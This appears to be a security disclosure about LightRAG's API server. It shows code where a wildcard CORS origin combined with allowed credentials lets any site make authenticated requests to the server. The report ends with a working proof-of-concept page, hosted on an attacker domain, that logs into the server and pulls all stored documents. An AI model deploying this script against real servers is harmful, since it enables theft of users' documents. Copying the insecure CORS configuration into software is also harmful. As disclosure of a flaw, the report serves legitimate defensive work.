LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>